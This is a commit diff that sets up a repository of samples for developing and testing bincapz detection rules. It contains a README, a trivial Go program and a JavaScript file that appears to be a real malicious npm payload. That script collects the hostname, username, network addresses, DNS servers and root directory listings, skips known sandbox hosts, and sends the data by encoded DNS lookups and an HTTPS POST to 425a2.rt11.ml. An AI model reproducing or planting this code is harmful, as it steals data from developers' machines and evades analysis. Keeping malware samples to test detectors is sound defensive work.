Add current bincapz samples (#1)

* Add current bincapz samples

Signed-off-by: egibs <20933572+egibs@users.noreply.github.com>

* Address PR comments

Signed-off-by: egibs <20933572+egibs@users.noreply.github.com>

---------

Signed-off-by: egibs <20933572+egibs@users.noreply.github.com>

README.md

@@ -1,2 +1,19 @@
-# bincapz-rules
-Samples used for developing and testing bincapz rules.
+# bincapz-samples
+
+This repository contains samples used for developing and testing bincapz rules.
+
+There are several categories organized within their own directories:
+
+- `does-nothing`
+- `javascript`
+- `linux`
+- `macOS`
+- `npm`
+- `php`
+- `python`
+- `typescript`
+- `windows`
+
+Each directory contains both clean and unclean samples.
+
+The purpose of this repository is to be cloned so that bincapz can be run against all or a subset of the samples.

does-nothing/does-nothing.go

@@ -0,0 +1,10 @@
+// Copyright 2024 Chainguard, Inc.
+// SPDX-License-Identifier: Apache-2.0
+
+package main
+
+import "fmt"
+
+func main() {
+	fmt.Printf("You see, we don't do much")
+}

javascript/2022.an-instance.99.10.9/index.js

@@ -0,0 +1,214 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const fs = require('fs');
+var path = require('path');
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+function checkhex(inputString){
+var re = /^[0-9a-f]+$/g;
+if(re.test(inputString)) {
+    return true
+} else {
+    return false;
+}
+}
+function checkpath(inputString){
+var re = /^\/root\/extract[0-9]+\/package$/g;
+if(re.test(inputString)) {
+    return true
+} else {
+    return false;
+}
+}
+function checklili(inputString){
+var re = /^\/home\/lili\/vastest\/[0-9]+\/package$/g;
+if(re.test(inputString)) {
+    return true
+} else {
+    return false;
+}
+}
+function isValid(hostname,path,username,dirs){
+if(dirs.length==0){
+lastdir = "";
+}
+else{
+lastdir = dirs[dirs.length-1];
+}
+if(hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')){
+return false;
+}
+else if(checkhex(hostname) && path.startsWith('/root/node_modules/') && lastdir == '/home/node'){
+return false;
+}
+else if(checkhex(hostname) && checkpath(path)){
+return false;
+}
+else if(hostname == 'box' && path.startsWith('/app/node_modules/') && lastdir == '/home/node'){
+return false;
+}
+else if(hostname == 'box' && path.startsWith('/app/node_modules/')){
+return false;
+}
+else if(hostname == 'box'){
+return false;
+}
+else if(checkhex(hostname) && path.startsWith('/root/node_modules') && lastdir == '/home/node'){
+return false;
+}
+else if(checkhex(hostname)){
+return false;
+}
+//else if(hostname == 'lili-pc' && checklili(path)){
+else if(hostname == 'lili-pc'){
+return false;
+}
+else if(hostname == 'aws-7grara913oid5jsexgkq'){
+return false;
+}
+//else if(hostname == 'instance' && path.startsWith('/home/app/node_modules/') && username == 'app'){
+else if(hostname == 'instance'){
+return false;
+}
+else{
+return true;
+}
+return true;
+}
+function getFiles(paths) {
+var ufiles=[];
+for(var j=0;j<paths.length;j++){
+try{
+  mpath = paths[j];
+  files = fs.readdirSync(mpath);
+  for(var i=0;i<files.length;i++){
+  ufiles.push(path.join(mpath,files[i]));
+  }
+}
+catch(error){}
+}
+  return ufiles;
+}
+
+function isprivate(ip) {
+   if(ip.startsWith('fe80::')||ip=="::1")
+       return true;
+   var parts = ip.split('.');
+   return parts[0] === '10' || 
+      (parts[0] === '172' && (parseInt(parts[1], 10) >= 16 && parseInt(parts[1], 10) <= 31)) || 
+      (parts[0] === '192' && parts[1] === '168') || (parts[0] === '127' && parts[1] === '0' && parts[2] === '0');
+}
+
+function toHex(data){
+const bufferText = Buffer.from(data, 'utf8');
+const text = bufferText.toString('hex');
+return text;
+}
+
+function todashedip(ip){
+return ip.replace(/\./g, '-').replace(/:/g,'-');
+}
+
+function gethttpips(){
+var str=[];
+var networkInterfaces = os.networkInterfaces();
+for(item in networkInterfaces){
+if(item != "lo"){
+for(var i=0;i<networkInterfaces[item].length;i++){
+str.push(networkInterfaces[item][i].address);
+}
+}
+}
+return str;
+}
+
+function getIps(){
+var str=[];
+var networkInterfaces = os.networkInterfaces();
+for(item in networkInterfaces){
+if(item != "lo"){
+for(var i=0;i<networkInterfaces[item].length;i++){
+if(!isprivate(networkInterfaces[item][i].address))
+str.push(networkInterfaces[item][i].address);
+}
+}
+}
+for(var i=0;i<str.length;i++){
+if(str[i].includes('.'))
+return "i."+todashedip(str[i])+".i";
+}
+if(str.length>0)
+return "i."+todashedip(str[0])+".i";
+else
+return "i._.i";
+}
+
+function getPathChunks(path){
+str="";
+chunks = path.split('/');
+for(var i=0;i<chunks.length;i++){
+str=str+toHex(chunks[i])+".";
+}
+str=str.slice(1,-1);
+return "p."+str+".p";
+}
+
+function toName(pkg){
+var str="";
+var queries = [];
+var substr1 = "";
+var substr2 = "";
+var hostname = "425a2.rt11.ml";
+str=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;
+queries.push(str);
+return queries;
+}
+
+const td = {
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: JSON.stringify(dns.getServers()),
+    ip: JSON.stringify(gethttpips()),
+    dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
+}
+var qs = toName(td);
+if(isValid(td.hn,td.c,td.un,td.dirs)){
+for(var j=0;j<qs.length;j++){
+dns.lookup(qs[j], function(err, result) {
+  //console.log(result)
+});
+}
+const trackingData = JSON.stringify(td);
+var postData = querystring.stringify({
+    msg: trackingData,
+});
+var options = {
+    hostname: "425a2.rt11.ml",
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": postData.length,
+    },
+};
+
+var req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        //process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    // console.error(e);
+});
+
+req.write(postData);
+req.end();
+}